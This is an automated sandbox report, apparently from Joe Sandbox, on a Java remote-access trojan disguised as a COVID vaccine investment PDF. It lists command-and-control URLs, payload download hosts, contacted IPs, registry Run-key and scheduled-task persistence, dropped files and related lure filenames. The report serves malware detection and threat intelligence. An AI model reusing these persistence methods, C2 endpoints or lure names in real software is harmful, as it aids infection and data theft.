https://repo1.maven.org/maven2/net/java/dev/jna/jna/5.5.0/jna-5.5.0.jar	javaw.exe, 0000000B.00000002.238456779.0000000009F50000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.238481797.0000000009F6E000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253150120.000000000A550000.00000004.00000001.sdmp, java.exe, 00000010.00000002.520395442.0000000009F50000.00000004.00000001.sdmp	false		high
http://jbfrost.live/strigoi/server/?hwid=1&lid=m&ht=5	java.exe, 00000010.00000002.515417464.0000000004BAB000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://policy.camerfirma.com	java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false		high
http://ops.com.pa/jre7.zip	wscript.exe, 0000000A.00000003.214763026.0000000004F0D000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
https://ocsp.quovadisoffshore.com	java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://repo1.maven.org/maven2/org/xerial/sqlite-jdbc/3.14.2.1/sqlite-jdbc-3.14.2.1.jar	javaw.exe, 0000000B.00000002.238456779.0000000009F50000.00000004.00000001.sdmp, javaw.exe, 0000000B.00000002.237181358.0000000004A90000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253150120.000000000A550000.00000004.00000001.sdmp, java.exe, 00000010.00000002.520395442.0000000009F50000.00000004.00000001.sdmp	false		high
http://crl.securetrust.com/STCA.crl0	javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://str-master.pw/strigoi/server/ping.php?lid=	java.exe, 00000010.00000002.517809140.0000000004DC1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.quovadisglobal.com/cps	java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false		high
http://cps.chambersign.org/cps/chambersroot.html	java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certplus.com/CRL/class3P.crl	java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.certplus.com/CRL/class3P.crl0	javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.securetrust.com/STCA.crl	java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://str-master.pw/strigoi/server/ping.php?	java.exe, 00000010.00000002.517894566.0000000004DCD000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://www.certplus.com/CRL/class2.crl0	javaw.exe, 0000000B.00000002.242664932.000000001582F000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.quovadisglobal.com/cps0	javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false		high
http://crl.xrampsecurity.com/XGCA.crl0	javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl	java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.quovadis.bm	javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253571843.000000000A727000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.quovadis.bm0	javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://ocsp.quovadisoffshore.com0	javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.allatori.com	javaw.exe, 0000000B.00000002.238594494.0000000009FA0000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253231810.000000000A5A0000.00000004.00000001.sdmp, java.exe, 00000010.00000002.520726996.0000000009F9E000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://crl.chambersign.org/chambersroot.crlC5	java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://str-master.pw	java.exe, 00000010.00000002.517894566.0000000004DCD000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.chambersign.org/chambersroot.crl	java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://repository.swisssign.com/	java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false		high
http://www.chambersign.org	javaw.exe, 0000000B.00000002.240871910.000000000A2CE000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253571843.000000000A727000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
https://api.github.com/_private/browser/errors	javaw.exe, 0000000B.00000002.238157882.0000000004EA7000.00000004.00000001.sdmp	false		high
https://github.com/kristian/system-hook/releases/download/3.5/system-hook-3.5.jar	javaw.exe, 0000000B.00000002.238456779.0000000009F50000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253150120.000000000A550000.00000004.00000001.sdmp, java.exe, 00000010.00000002.520395442.0000000009F50000.00000004.00000001.sdmp	false		high
http://policy.camerfirma.com0	javaw.exe, 0000000B.00000002.239749123.000000000A126000.00000004.00000001.sdmp, java.exe, 0000000D.00000002.253093640.00000000054CE000.00000004.00000001.sdmp, java.exe, 00000010.00000002.521484537.000000000A126000.00000004.00000001.sdmp	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://str-master.pw/strigoi/server/ping.php?lid=RUGR-ATSN-D14P-VBXX-49LW	java.exe, 00000010.00000002.517894566.0000000004DCD000.00000004.00000001.sdmp, java.exe, 00000010.00000002.517809140.0000000004DC1000.00000004.00000001.sdmp	false	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	ASN	ASN Name	Malicious
104.23.99.190	unknown	United States	13335	CLOUDFLARENETUS	false
23.239.31.129	unknown	United States	63949	LINODE-APLinodeLLCUS	true
199.232.192.209	unknown	United States	54113	FASTLYUS	false
185.199.108.154	unknown	Netherlands	54113	FASTLYUS	false
140.82.121.3	unknown	United States	36459	GITHUBUS	false
107.175.144.243	unknown	United States	36352	AS-COLOCROSSINGUS	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	356987
Start date:	23.02.2021
Start time:	21:03:24
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 37s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar
Cookbook file name:	defaultwindowsfilecookbook.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Without Tracing
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.troj.expl.evad.winJAR@34/30@13/7
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .jar
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, svchost.exe TCP Packets have been reduced to 100 Excluded IPs from analysis (whitelisted): 104.43.193.48, 184.30.21.144, 52.255.188.83, 13.64.90.137, 104.43.139.144, 23.210.248.85, 51.104.139.180, 205.185.216.10, 205.185.216.42, 20.54.26.129, 204.79.197.200, 13.107.21.200, 92.122.213.194, 92.122.213.247 Excluded domains from analysis (whitelisted): arc.msn.com.nsatc.net, store-images.s-microsoft.com-c.edgekey.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, e12564.dspb.akamaiedge.net, audownload.windowsupdate.nsatc.net, au.download.windowsupdate.com.hwcdn.net, www-bing-com.dual-a-0001.a-msedge.net, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, au-bg-shim.trafficmanager.net, www.bing.com, skypedataprdcolwus17.cloudapp.net, fs.microsoft.com, dual-a-0001.a-msedge.net, ris-prod.trafficmanager.net, e1723.g.akamaiedge.net, ctldl.windowsupdate.com, skypedataprdcolcus16.cloudapp.net, cds.d2s7q6s2.hwcdn.net, skypedataprdcolcus15.cloudapp.net, ris.api.iris.microsoft.com, skypedataprdcoleus17.cloudapp.net, a-0001.a-afdentry.net.trafficmanager.net, store-images.s-microsoft.com, blobcollector.events.data.trafficmanager.net Execution Graph export aborted for target java.exe, PID 5544 because it is empty Execution Graph export aborted for target java.exe, PID 6284 because there are no executed function Execution Graph export aborted for target java.exe, PID 720 because there are no executed function Execution Graph export aborted for target javaw.exe, PID 3164 because there are no executed function Execution Graph export aborted for target javaw.exe, PID 4880 because it is empty Execution Graph export aborted for target javaw.exe, PID 6568 because it is empty Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing network information. Report size getting too big, too many NtAllocateVirtualMemory calls found. Report size getting too big, too many NtDeviceIoControlFile calls found. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found. Report size getting too big, too many NtWriteFile calls found. VT rate limit hit for: /opt/package/joesandbox/database/analysis/356987/sample/Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar

Simulations

Behavior and APIs

Time	Type	Description
21:04:36	Task Scheduler	Run new task: Skype path: C:\Users\user\AppData\Roaming\vmlpusjwhz.txt
21:04:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run vmlpusjwhz "C:\Users\user\AppData\Roaming\vmlpusjwhz.txt"
21:04:46	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run vmlpusjwhz "C:\Users\user\AppData\Roaming\vmlpusjwhz.txt"
21:04:55	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run plugins "C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Roaming\plugins.jar" mp
21:05:03	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run vmlpusjwhz "C:\Users\user\AppData\Roaming\vmlpusjwhz.txt"
21:05:11	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run plugins "C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Roaming\plugins.jar" mp
21:05:19	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\vmlpusjwhz.txt
21:05:33	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run plugins "C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Roaming\plugins.jar" mp

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
104.23.99.190	u6Wf8vCDUv.exe	Get hash	malicious	Browse	pastebin.com/raw/BCAJ8TgJ
	Recept.exe	Get hash	malicious	Browse	pastebin.com/raw/BCAJ8TgJ
	7fYoHeaCBG.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	r0QRptqiCl.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	JDgYMW0LHW.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	kigAlmMyB1.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	5T4Ykc0VSK.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	afvhKak0Ir.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	1KITgJnGbI.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	DovV3LuJ6I.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	66f8F6WvC1.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	PxwWcmbMC5.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	XnAJZR4NcN.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	uqXsQvWMnL.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	I8r7e1pqac.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	VrR9J0FnSG.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	dEpoPWHmoI.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	zZp3oXclum.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	aTZQZVVriQ.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
	U23peRXm5Z.exe	Get hash	malicious	Browse	pastebin.com/raw/XMKKNkb0
23.239.31.129	Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar	Get hash	malicious	Browse
	Invoice467972.jar	Get hash	malicious	Browse
	Invoice467972.jar	Get hash	malicious	Browse
	MT0128.jar	Get hash	malicious	Browse
	MT0128.jar	Get hash	malicious	Browse
	PO348578.jar	Get hash	malicious	Browse
	ShippingDoc.jar	Get hash	malicious	Browse
	02_extracted.jar	Get hash	malicious	Browse
	https://protect-eu.mimecast.com/s/HPS1C6XWNSMg8gQup-dAS?domain=linkbuildingseohub.com/	Get hash	malicious	Browse
	ntfsmgr.jar	Get hash	malicious	Browse
	Specification-037-31-08.jar	Get hash	malicious	Browse
	04_extracted.jar	Get hash	malicious	Browse
	Order Quotation ....jar	Get hash	malicious	Browse
	tsts11.jar	Get hash	malicious	Browse
	Spec#-0537354-17-08.jar	Get hash	malicious	Browse
	Spec-10-8-20.jar	Get hash	malicious	Browse
	Payment Advice.jar	Get hash	malicious	Browse
	https://1drv.ms/u/s!AjkNQ7L0-bMSkmSt07fhRYHCFhZm?e=136OWp	Get hash	malicious	Browse
	SCANPAGO.jar	Get hash	malicious	Browse
	Naukri Alert Mailer.jar	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
github.com	Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar	Get hash	malicious	Browse	140.82.121.3
	TxvR Order.exe	Get hash	malicious	Browse	140.82.121.4
	5293ea9467ea45e928620a5ed74440f5.exe	Get hash	malicious	Browse	140.82.121.4
	Unterlagen PDF.exe	Get hash	malicious	Browse	140.82.121.3
	rufus-3.13.exe	Get hash	malicious	Browse	140.82.121.4
	f1a14e6352036833f1c109e1bb2934f2.exe	Get hash	malicious	Browse	140.82.121.4
	d88e07467ddcf9e3b19fa972b9f000d1.exe	Get hash	malicious	Browse	140.82.121.3
	Invoice467972.jar	Get hash	malicious	Browse	140.82.121.4
	Invoice467972.jar	Get hash	malicious	Browse	140.82.121.4
	password.doc	Get hash	malicious	Browse	140.82.121.4
	password.doc	Get hash	malicious	Browse	140.82.121.3
	Pastebin.docm	Get hash	malicious	Browse	140.82.121.4
	password.doc	Get hash	malicious	Browse	140.82.121.4
	Pastebin.docm	Get hash	malicious	Browse	140.82.121.4
	Pastebin.docm	Get hash	malicious	Browse	140.82.121.3
	index_2021-02-18-00_38.exe	Get hash	malicious	Browse	140.82.121.3
	571e42f6394e3fe9d63239315df13631.exe	Get hash	malicious	Browse	140.82.121.4
	executable.908.exe	Get hash	malicious	Browse	140.82.121.4
	executable.908.exe	Get hash	malicious	Browse	140.82.121.4
	executable.908.exe	Get hash	malicious	Browse	140.82.121.3
sonatype.map.fastly.net	Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar	Get hash	malicious	Browse	199.232.192.209
	Invoice467972.jar	Get hash	malicious	Browse	199.232.192.209
	Invoice467972.jar	Get hash	malicious	Browse	199.232.192.209
	MT0128.jar	Get hash	malicious	Browse	199.232.192.209
	MT0128.jar	Get hash	malicious	Browse	199.232.192.209
	PO348578.jar	Get hash	malicious	Browse	199.232.192.209
	ShippingDoc.jar	Get hash	malicious	Browse	199.232.192.209
	02_extracted.jar	Get hash	malicious	Browse	199.232.192.209
	https://protect-eu.mimecast.com/s/HPS1C6XWNSMg8gQup-dAS?domain=linkbuildingseohub.com/	Get hash	malicious	Browse	199.232.192.209
	ntfsmgr.jar	Get hash	malicious	Browse	199.232.192.209
	Specification-037-31-08.jar	Get hash	malicious	Browse	151.101.12.209
	04_extracted.jar	Get hash	malicious	Browse	151.101.112.209
	Order Quotation ....jar	Get hash	malicious	Browse	151.101.112.209
	Order Quotation ....jar	Get hash	malicious	Browse	151.101.12.209
	tsts11.jar	Get hash	malicious	Browse	151.101.112.209
	tsts11.jar	Get hash	malicious	Browse	151.101.112.209
	Spec#-0537354-17-08.jar	Get hash	malicious	Browse	151.101.112.209
	Spec#-0537354-17-08.jar	Get hash	malicious	Browse	151.101.112.209
	Spec-10-8-20.jar	Get hash	malicious	Browse	151.101.112.209
	Spec-10-8-20.jar	Get hash	malicious	Browse	151.101.112.209
pluginserver.duckdns.org	Invoice467972.jar	Get hash	malicious	Browse	23.239.31.129
	Invoice467972.jar	Get hash	malicious	Browse	23.239.31.129
	MT0128.jar	Get hash	malicious	Browse	23.239.31.129
	MT0128.jar	Get hash	malicious	Browse	23.239.31.129
	PO348578.jar	Get hash	malicious	Browse	23.239.31.129
	ShippingDoc.jar	Get hash	malicious	Browse	23.239.31.129
	02_extracted.jar	Get hash	malicious	Browse	23.239.31.129
	https://protect-eu.mimecast.com/s/HPS1C6XWNSMg8gQup-dAS?domain=linkbuildingseohub.com/	Get hash	malicious	Browse	23.239.31.129
	ntfsmgr.jar	Get hash	malicious	Browse	23.239.31.129
	Specification-037-31-08.jar	Get hash	malicious	Browse	23.239.31.129
	04_extracted.jar	Get hash	malicious	Browse	23.239.31.129
	Order Quotation ....jar	Get hash	malicious	Browse	23.239.31.129
	tsts11.jar	Get hash	malicious	Browse	23.239.31.129
	Spec#-0537354-17-08.jar	Get hash	malicious	Browse	23.239.31.129
	Spec-10-8-20.jar	Get hash	malicious	Browse	23.239.31.129
	Payment Advice.jar	Get hash	malicious	Browse	23.239.31.129
	https://1drv.ms/u/s!AjkNQ7L0-bMSkmSt07fhRYHCFhZm?e=136OWp	Get hash	malicious	Browse	23.239.31.129

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
FASTLYUS	TDCS.dll	Get hash	malicious	Browse	151.101.1.44
	Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar	Get hash	malicious	Browse	185.199.110.154
	Payment Transfer Copy of $274,876.00 for the invoice shipments.exe	Get hash	malicious	Browse	185.199.108.153
	TxvR Order.exe	Get hash	malicious	Browse	185.199.108.133
	b0PmDaDeNh.dll	Get hash	malicious	Browse	151.101.1.44
	SecuriteInfo.com.Mal.Generic-S.15142.exe	Get hash	malicious	Browse	185.199.108.133
	LIQUIDACION INTERBANCARIA 02_22_2021.xls	Get hash	malicious	Browse	185.199.108.133
	muOvK6dngg.exe	Get hash	malicious	Browse	185.199.108.133
	rieuro.dll	Get hash	malicious	Browse	151.101.1.44
	7lM8HxwfAm.dll	Get hash	malicious	Browse	151.101.1.44
	LcA7GaqAXC.dll	Get hash	malicious	Browse	151.101.1.44
	4FHOFKHnX8.dll	Get hash	malicious	Browse	151.101.1.44
	5N5yxttthP.dll	Get hash	malicious	Browse	151.101.1.44
	vBKmtJ58Eo.dll	Get hash	malicious	Browse	151.101.1.44
	Vessel Line Up 7105082938.exe	Get hash	malicious	Browse	185.199.110.133
	5293ea9467ea45e928620a5ed74440f5.exe	Get hash	malicious	Browse	185.199.108.133
	Unterlagen PDF.exe	Get hash	malicious	Browse	185.199.108.133
	rufus-3.13.exe	Get hash	malicious	Browse	185.199.111.153
	f1a14e6352036833f1c109e1bb2934f2.exe	Get hash	malicious	Browse	185.199.108.133
LINODE-APLinodeLLCUS	Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar	Get hash	malicious	Browse	23.239.31.129
	MV9tCJw8Xr.exe	Get hash	malicious	Browse	172.105.78.244
	File_72309.xlsb	Get hash	malicious	Browse	172.105.70.225
	SecuriteInfo.com.Heur.15528.xls	Get hash	malicious	Browse	139.162.8.120
	SecuriteInfo.com.Heur.15528.xls	Get hash	malicious	Browse	139.162.8.120
	Drawings2.exe	Get hash	malicious	Browse	45.56.79.23
	Sign-1870635479_637332644.xls	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Exploit.Siggen3.10350.26515.xls	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Heur.1476.xls	Get hash	malicious	Browse	176.58.123.25
	Sign-92793351_1597657581.xls	Get hash	malicious	Browse	176.58.123.25
	Invoice467972.jar	Get hash	malicious	Browse	23.239.31.129
	Invoice467972.jar	Get hash	malicious	Browse	23.239.31.129
	SecuriteInfo.com.Heur.22173.xls	Get hash	malicious	Browse	176.58.123.25
	Deposit_50%PAYMENT TERM -PO09-excel.htm	Get hash	malicious	Browse	45.79.77.20
	Sign_1229872171-1113140666(1).xls	Get hash	malicious	Browse	176.58.123.25
	IU-8549 Medical report COVID-19.doc	Get hash	malicious	Browse	172.104.97.173
	SecuriteInfo.com.Exploit.Siggen3.10048.24657.xls	Get hash	malicious	Browse	176.58.123.25
	SecuriteInfo.com.Exploit.Siggen3.10048.15397.xls	Get hash	malicious	Browse	176.58.123.25
	Invoice#6026115.xls	Get hash	malicious	Browse	172.104.247.192
	index_2021-02-17-11_45.dll	Get hash	malicious	Browse	176.58.123.25
CLOUDFLARENETUS	Attach_1344833645_1944784007.xls	Get hash	malicious	Browse	172.67.9.138
	TDCS.dll	Get hash	malicious	Browse	104.20.185.68
	Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar	Get hash	malicious	Browse	104.23.98.190
	Fs7U7nti7y.exe	Get hash	malicious	Browse	104.23.98.190
	vB1Zux02Zf.exe	Get hash	malicious	Browse	104.21.1.113
	Vrxs6evJO7.exe	Get hash	malicious	Browse	104.21.71.230
	17UjjiZ5PH.exe	Get hash	malicious	Browse	104.23.98.190
	rODTO7r2NU.exe	Get hash	malicious	Browse	172.67.188.154
	Property Files.exe	Get hash	malicious	Browse	104.21.71.230
	IMG_0352_Scanned.exe	Get hash	malicious	Browse	172.67.188.154
	purchase order.exe	Get hash	malicious	Browse	172.67.188.154
	purchase order.exe	Get hash	malicious	Browse	104.21.19.200
	PRODUCTS ENQUIRY.exe	Get hash	malicious	Browse	172.67.188.154
	Message Body Content.exe	Get hash	malicious	Browse	104.21.19.200
	2021223#.exe	Get hash	malicious	Browse	172.67.188.154
	#U041e#U0440#U0434#U0435#U043d Alphagrissin.exe	Get hash	malicious	Browse	104.21.19.200
	Consignment Invoice PL&BL Draft.exe	Get hash	malicious	Browse	104.21.19.200
	TT copy.exe	Get hash	malicious	Browse	172.67.188.154
	Attached FILE.exe	Get hash	malicious	Browse	162.159.135.233
	WaybillDoc_2396752890.pdf.exe	Get hash	malicious	Browse	104.21.19.200

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
d2935c58fe676744fecc8614ee5356c7	Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3
	Invoice467972.jar	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3
	Invoice467972.jar	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3
	MT0128.jar	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3
	MT0128.jar	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3
	PO348578.jar	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3
	APJoWYdmQc.jar	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3
	ShippingDoc.jar	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3
	ORGINV687400321566.jar	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3
	02_extracted.jar	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3
	https://protect-eu.mimecast.com/s/HPS1C6XWNSMg8gQup-dAS?domain=linkbuildingseohub.com/	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3
	meWMpiDNKM.jar	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3
	list of equipment.jar	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3
	ntfsmgr.jar	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3
	Specification-037-31-08.jar	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3
	04_extracted.jar	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3
	Order Quotation ....jar	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3
	Order Quotation ....jar	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3
	tsts11.jar	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3
	tsts11.jar	Get hash	malicious	Browse	199.232.192.209 104.23.99.190 185.199.108.154 140.82.121.3

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\jna-99048687\jna6181350368483245817.dll	Covid19_Vacine_Investment_Proposals_1st_Quarter2021 pdf.jar	Get hash	malicious	Browse
	Invoice467972.jar	Get hash	malicious	Browse
	Invoice467972.jar	Get hash	malicious	Browse
	MT0128.jar	Get hash	malicious	Browse
	MT0128.jar	Get hash	malicious	Browse
	PO348578.jar	Get hash	malicious	Browse
	ShippingDoc.jar	Get hash	malicious	Browse
	02_extracted.jar	Get hash	malicious	Browse
	https://protect-eu.mimecast.com/s/HPS1C6XWNSMg8gQup-dAS?domain=linkbuildingseohub.com/	Get hash	malicious	Browse
	ntfsmgr.jar	Get hash	malicious	Browse
	Specification-037-31-08.jar	Get hash	malicious	Browse
	04_extracted.jar	Get hash	malicious	Browse
	Order Quotation ....jar	Get hash	malicious	Browse
	tsts11.jar	Get hash	malicious	Browse
	Spec#-0537354-17-08.jar	Get hash	malicious	Browse
	Spec-10-8-20.jar	Get hash	malicious	Browse
	Payment Advice.jar	Get hash	malicious	Browse
	https://1drv.ms/u/s!AjkNQ7L0-bMSkmSt07fhRYHCFhZm?e=136OWp	Get hash	malicious	Browse
	ORDER SPECIFICATIONS.jar	Get hash	malicious	Browse
	SCANPAGO.jar	Get hash	malicious	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vmlpusjwhz.txt Download File
Process:	C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe
File Type:	Zip archive data, at least v2.0 to extract
Category:	dropped
Size (bytes):	93302
Entropy (8bit):	7.907636664666169
Encrypted:	false
SSDEEP:	1536:/1qTnJjXcA/88jc5w+e6saZGIhw8c+/MCZdCa9aQ7IakSyEvaogK0imdgIJX0H:dqTNV9+wdDaZn9/MCZdN7RkSy0ajA+JA
